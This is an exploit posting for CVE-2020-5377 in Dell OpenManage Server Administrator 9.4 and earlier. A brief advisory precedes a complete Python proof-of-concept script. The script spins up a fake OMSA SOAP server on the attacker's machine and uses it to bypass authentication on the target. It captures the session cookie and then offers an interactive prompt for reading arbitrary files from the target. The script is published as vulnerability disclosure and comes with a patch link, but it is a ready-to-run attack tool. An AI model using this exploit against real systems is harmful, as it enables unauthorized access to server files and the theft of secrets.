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Dell OpenManage Server Administrator 9.4.0.0 File Read

Dell OpenManage Server Administrator 9.4.0.0 File Read
Posted Apr 7, 2021
Authored by Rhino Security Labs

Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.

tags | exploit, remote, web, vulnerability
advisories | CVE-2020-5377
MD5 | a782a64eb3fb7e8fbc44e13f11d5378a

Dell OpenManage Server Administrator 9.4.0.0 File Read

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# Exploit Title: Dell OpenManage Server Administrator 9.4.0.0 - Arbitrary File Read
# Date: 4/27/2020
# Exploit Author: Rhino Security Labs
# Version: <= 9.4
# Description: Dell EMC OpenManage Server Administrator (OMSA) versions 9.4 and prior contain multiple path traversal vulnerabilities. An unauthenticated remote attacker could potentially exploit these vulnerabilities by sending a crafted Web API request containing directory traversal character sequences to gain file system access on the compromised management station.
# CVE: CVE-2020-5377

# This is a proof of concept for CVE-2020-5377, an arbitrary file read in Dell OpenManage Administrator
# Proof of concept written by: David Yesland @daveysec with Rhino Security Labs
# More information can be found here:
# A patch for this issue can be found here:
# https://www.dell.com/support/article/en-us/sln322304/dsa-2020-172-dell-emc-openmanage-server-administrator-omsa-path-traversal-vulnerability

from xml.sax.saxutils import escape
import BaseHTTPServer
import requests
import thread
import ssl
import sys
import re
import os

import urllib3
urllib3.disable_warnings()

if len(sys.argv) < 3:
print 'Usage python auth_bypass.py <yourIP> <targetIP>:<targetPort>'
exit()

#This XML to imitate a Dell OMSA remote system comes from https://www.exploit-db.com/exploits/39909
#Also check out https://github.com/hantwister/FakeDellOM
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
data = ''
content_len = int(s.headers.getheader('content-length', 0))
post_body = s.rfile.read(content_len)
s.send_response(200)
s.send_header("Content-type", "application/soap+xml;charset=UTF-8")
s.end_headers()
if "__00omacmd=getuserrightsonly" in post_body:
data = escape("<SMStatus>0</SMStatus><UserRightsMask>458759</UserRightsMask>")
if "__00omacmd=getaboutinfo " in post_body:
data = escape("<ProductVersion>6.0.3</ProductVersion>")
if data:
requid = re.findall('>uuid:(.*?)<',post_body)[0]
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:n1="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule">
<s:Header>
<wsa:To>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:To>
<wsa:RelatesTo>uuid:'''+requid+'''</wsa:RelatesTo>
<wsa:MessageID>0d70cce2-05b9-45bb-b219-4fb81efba639</wsa:MessageID>
</s:Header>
<s:Body>
<n1:SendCmd_OUTPUT>
<n1:ResultCode>0</n1:ResultCode>
<n1:ReturnValue>'''+data+'''</n1:ReturnValue>
</n1:SendCmd_OUTPUT>
</s:Body>
</s:Envelope>''')

else:
s.wfile.write('''<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>''')

def log_message(self, format, *args):
return

createdCert = False
if not os.path.isfile('./server.pem'):
print '[-] No server.pem certifcate file found. Generating one...'
os.system('openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes -subj "/C=NO/ST=NONE/L=NONE/O=NONE/OU=NONE/CN=NONE.com"')
createdCert = True

def startServer():
server_class = BaseHTTPServer.HTTPServer
httpd = httpd = server_class(('0.0.0.0', 443), MyHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()

thread.start_new_thread(startServer,())

myIP = sys.argv[1]
target = sys.argv[2]

def bypassAuth():
values = {}
url = "https://{}/LoginServlet?flag=true&managedws=false".format(target)
data = {"manuallogin": "true", "targetmachine": myIP, "user": "VULNERABILITY:CVE-2020-5377", "password": "plz", "application": "omsa", "ignorecertificate": "1"}
r = requests.post(url, data=data, verify=False, allow_redirects=False)
cookieheader = r.headers['Set-Cookie']
sessionid = re.findall('JSESSIONID=(.*?);',cookieheader)
pathid = re.findall('Path=/(.*?);',cookieheader)
values['sessionid'] = sessionid[0]
values['pathid'] = pathid[0]
return values

ids = bypassAuth()
sessionid = ids['sessionid']
pathid = ids['pathid']

print "Session: "+sessionid
print "VID: "+pathid

def readFile(target,sessid,pathid):
while True:
file = raw_input('file > ')
url = "https://{}/{}/DownloadServlet?help=Certificate&app=oma&vid={}&file={}".format(target,pathid,pathid,file)
cookies = {"JSESSIONID": sessid}
r = requests.get(url, cookies=cookies, verify=False)
print 'Reading contents of {}:\n{}'.format(file,r.content)

def getPath(path):
if path.lower().startswith('c:\\'):
path = path[2:]
path = path.replace('\\','/')
return path

readFile(target,sessionid,pathid)

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